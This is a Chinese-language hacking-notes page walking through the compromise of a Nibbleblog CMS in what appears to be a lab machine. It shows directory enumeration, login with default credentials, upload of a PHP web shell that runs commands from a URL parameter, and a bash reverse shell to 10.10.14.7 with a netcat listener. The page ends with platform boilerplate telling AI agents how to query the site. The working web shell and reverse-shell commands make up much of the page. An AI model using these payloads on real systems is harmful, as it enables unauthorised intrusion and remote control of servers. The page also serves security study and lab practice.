> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nibbles-blog-cms-exploitation.md).

# Nibbles Blog

### Nibbles 博客 - CMS

<figure><img src="/files/2bba56579fdc2c0cec2798a0cf38df793fbfdf03" alt=""><figcaption></figcaption></figure>

该网站似乎是一个 Nibbleblog CMS。使用 `gobuster` 来搜索更多目录：

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/46e527442102c1b03a11a066633f6c5b7d43de37" alt=""><figcaption></figcaption></figure>

#### PHP 文件搜索：

PHP 文件枚举显示 `admin.php`，这似乎是一个管理面板。

<figure><img src="/files/52a5ea841e4043afc9f993b9607e7fa218ed4b7a" alt=""><figcaption></figcaption></figure>

#### 使用凭据尝试登录

尝试使用以下凭据登录：

* **用户** : admin
* **密码** : nibbles

<figure><img src="/files/9bdbd596a18b87023e1679deb9b90606bcfa2dfd" alt=""><figcaption></figcaption></figure>

这可以成功并提供对管理界面的访问。

<figure><img src="/files/4cffa43a415c88100d0958eca5ae40819774bcc0" alt=""><figcaption></figcaption></figure>

## Nibbleblog 文件上传漏洞

发现一个图像上传功能：

<figure><img src="/files/2ba77c2584d8928da53b239b23d75879dbd2b5a8" alt=""><figcaption></figcaption></figure>

创建一个 `cmd.php` 带有以下代码的文件，以启用命令执行：

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

文件被上传到 `内容`，其中一个 `private` 子文件夹包含插件。

<figure><img src="/files/095bfa6b861272585d5dc69e51b24910057daffa" alt=""><figcaption></figcaption></figure>

#### 通过文件上传执行命令

该 `cmd` 参数允许执行命令。例如，使用以下 URL 获取系统身份信息：

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/0bbb575729b3752a7884760322e65204136d9d55" alt=""><figcaption></figcaption></figure>

通过反向 shell 获取服务器访问权限。在 443 端口上启动监听器：

```bash
nc -nlvp 443
```

然后在目标主机上执行反向 shell：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/1767d6c6ceb59a86db71be74404c765b7ef301e1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
